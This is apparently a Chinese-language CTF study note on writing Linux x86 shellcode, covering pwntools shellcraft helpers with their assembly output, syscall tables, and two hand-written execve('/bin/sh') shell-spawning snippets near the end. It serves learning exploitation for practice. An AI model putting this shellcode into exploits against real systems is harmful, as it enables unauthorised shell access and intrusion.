shellcode

记录点写shellcode的小技巧~

shellstorm

获取shellcode,首先当然是网上找呀,这里机上shellstorm,神奇的是他还提供了api呢!于是很多工具都能够调用获取它的sc,例如peda插件的shellcode指令。

owasp zsc

支持生成Linux,osx,windows的shellcode,也支持调用shellstorm与混淆现有exp,方法就是help+tab,反正很好用啦~

pwntools

测试shellcode

1
run_assembly(asmTypeShellcode)

breakpoint

1
2
In [11]: print shellcraft.breakpoint()
int3

trap

1
2
In [48]: print shellcraft.trap()
int3

crash

1
2
3
4
In [12]: print shellcraft.crash()
popad /* fill all registers with shit */
xor esp, esp /* especially esp */
jmp esp /* boom */

nop

1
2
In [19]: print shellcraft.nop()
nop

prolog epilog

1
2
3
4
5
6
7
In [20]: print shellcraft.prolog()
push ebp
mov ebp, esp

In [14]: print shellcraft.epilog(3)
leave
ret 3*4

getpc

1
2
3
4
5
In [16]: print shellcraft.getpc('eax')
call INC_EBX
.equ INC_EBX, $-1
ret
pop eax

infloop

1
2
In [17]: print shellcraft.infloop()
jmp $

ret

1
2
3
4
5
In [21]: print shellcraft.ret(4)
push 4
pop eax

ret

mov

mov,不会出现null与换行符

1
2
3
4
5
In [37]: print shellcraft.mov('eax',0x12345678)
push 0x12345678
pop eax
In [38]: print shellcraft.mov('eax',0x12345678,stack_allowed=False)
mov eax, 0x12345678

push

将数字或者字符串放在栈上,不使用null与换行符

1
2
3
4
5
6
7
8
9
10
In [39]: print shellcraft.push('SYS_sendfile')
/* push SYS_sendfile (0xbb) */
push 0x1010101
xor dword ptr [esp], 0x10101ba

In [40]: print shellcraft.push('/bin/sh')
/* push '/bin/sh' */
push 0x1010101
xor dword ptr [esp], 0x169722e
push 0x6e69622f

pushstr

同上

pushstr_array

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
In [43]: print shellcraft.pushstr_array('eax',['str1','str2','str3'])
/* push argument array ['str1\x00', 'str2\x00', 'str3\x00'] */
/* push 'str1\x00str2\x00str3\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1013273
push 0x1010101
xor dword ptr [esp], 0x75720133
push 0x1010101
xor dword ptr [esp], 0x73757201
push 0x31727473
xor eax, eax
push eax /* null terminate */
push 0xe
pop eax
add eax, esp
push eax /* 'str3\x00' */
push 0xd
pop eax
add eax, esp
push eax /* 'str2\x00' */
push 0xc
pop eax
add eax, esp
push eax /* 'str1\x00' */
mov eax, esp

setregs

1
2
3
4
In [44]: print shellcraft.setregs({'eax':1, 'ebx':'eax'})
mov ebx, eax
push 1
pop eax

xor

1
2
3
4
5
6
7
8
9
10
11
12
In [49]: print shellcraft.xor('keys',0x12345678,32)#32位异或字节数
/* xor('keys', 0x12345678, 0x20) */
push 0x20
pop eax
push 0x12345678
pop ecx
add eax, ecx
start_15:
xor DWORD PTR [ecx], 0x7379656b
add ecx, 4
cmp ecx, eax
jb start_15

i386_<->_amd64

转换执行,这可以绕过一些过滤

cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
In [24]: print shellcraft.cat('os.c')
/* push 'os.c\x00' */
push 1
dec byte ptr [esp]
push 0x632e736f
/* open(file='esp', oflag=0, mode='O_RDONLY') */
mov ebx, esp
xor ecx, ecx
xor edx, edx
/* call open() */
push SYS_open /* 5 */
pop eax
int 0x80
/* sendfile(out_fd=1, in_fd='eax', offset=0, count=2147483647) */
push 1
pop ebx
mov ecx, eax
xor edx, edx
push 0x7fffffff
pop esi
/* call sendfile() */
xor eax, eax
mov al, 0xbb
int 0x80

echo

(string, sock=’1’)

readfile

(path,dst=’esi’)

readn

(fd, buf, nbytes)

setregid/setreuid

sh

stage

(fd=0, length=None)

acceptloop_ipv4

等待连接,返回的socket被曝存在在ebp里面,只支持ipv4

connect

connect(host, port, network=’ipv4’)

mprotect_all

function

将pwntools提供的模板转换成函数,其实就是加了一个prolog()+epilog():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 [25]: print shellcraft.function('write', shellcraft.i386.linux.write, )
/* write() */
#ifndef _write_
#define _write_
write:
/* Save stack */
push ebp
mov ebp, esp
/* Load arguments */
/* write(fd=0, buf=0, n=0) */
xor ebx, ebx
xor ecx, ecx
xor edx, edx
/* call write() */
push SYS_write /* 4 */
pop eax
int 0x80
/* Restore stack */
leave
ret
#endif /* _write_ */

memcpy

内存拷贝

1
2
3
4
5
6
7
8
9
10
11
In [33]: print shellcraft.memcpy(0x1234,0x4321,10)
/* memcpy(0x1234, 0x4321, 0xa) */
cld
push 9 /* mov ecx, '\n' */
pop ecx
inc ecx
xor edi, edi
mov di, 0x1234
xor esi, esi
mov si, 0x4321
rep movsb

strcpy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
In [45]: print shellcraft.strcpy('eax',0x12345678)
mov edi, eax
push 0x12345678
pop esi
push edi
xor eax, eax
push -1
pop ecx
mov edi, esi
repnz scas al, BYTE PTR [edi]
inc ecx
inc ecx
neg ecx
/* moving ecx into ecx, but this is a no-op */
pop edi
inc ecx
rep movs BYTE PTR [edi], BYTE PTR [esi]

strlen

1
2
3
4
5
6
7
8
9
10
11
In [47]: print shellcraft.strlen(0x1234567,'eax')
xor eax, eax
push -1
pop ecx
push 0x1234567
pop edi
repnz scas al, BYTE PTR [edi]
inc ecx
inc ecx
neg ecx
mov eax, ecx

dir

dupio

dupsh

egghunter

(egg, start_address = 0)搜索egg地址,返回值为第一个匹配项,被存入RDI

手肝

调用表

这才是写本篇的目的,要手写,当然要先祭出系统调用表咯:

1
2
3
4
5
 arch/ABI    instruction           syscall #  retval  error    Notes
────────────────────────────────────────────────────────────────────
i386 int $0x80 eax eax -
x86-64 syscall rax rax - [5]
x32 syscall rax rax - [5]
1
2
3
4
5
arch/ABI      arg1  arg2  arg3  arg4  arg5  arg6  arg7  Notes
──────────────────────────────────────────────────────────────
i386 ebx ecx edx esi edi ebp -
x86-64 rdi rsi rdx r10 r8 r9 -
x32 rdi rsi rdx r10 r8 r9 -
%rax System call %rdi %rsi %rdx %r10 %r8 %r9
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode
9 sys_mmap unsigned long addr unsigned long len unsigned long prot unsigned long flags unsigned long fd unsigned long off
10 sys_mprotect unsigned long start size_t len unsigned long prot
11 sys_munmap unsigned long addr size_t len
15 sys_rt_sigreturn unsigned long __unused
37 sys_alarm unsigned int seconds
56 sys_clone unsigned long clone_flags unsigned long newsp void *parent_tid void *child_tid
57 sys_fork
59 sys_execve const char *filename const char *const argv[] const char *const envp[]
60 sys_exit int error_code
62 sys_kill pid_t pid int sig
101 sys_ptrace long request long pid unsigned long addr unsigned long data
157 sys_prctl int option unsigned long arg2 unsigned long arg3 unsigned long arg4 unsigned long arg5
161 sys_chroot const char *filename
317 sys_seccomp unsigned int op unsigned int flags const char __user *uargs
322 stub_execveat int dfd const char __user *filename const char __user *const __user *argv const char __user *const __user *envp int flags
### sh
这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[section .data]
global _start

_start:
jmp sh
se:
pop ebx
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11
int 0x80
sh:
call se
db '/bin/sh',0
或者这样:
1
2
3
4
5
6
7
8
9
10
11
12
13
[section .data]
global _start

_start:
push 0x68 $保证后面有0
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
xor eax,eax
xor ecx,ecx
xor edx,edx
mov al,11 $这里使用pushpop可以缩短一字节
int 0x80
在长度不够的时候可以先调用read溢出更长。
### alphanumeric

参考

[1]
[2]
[3]
[4]https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl
[5]https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
[6]http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
[7]https://www.informatik.htw-dresden.de/~beck/ASM/syscall_list.html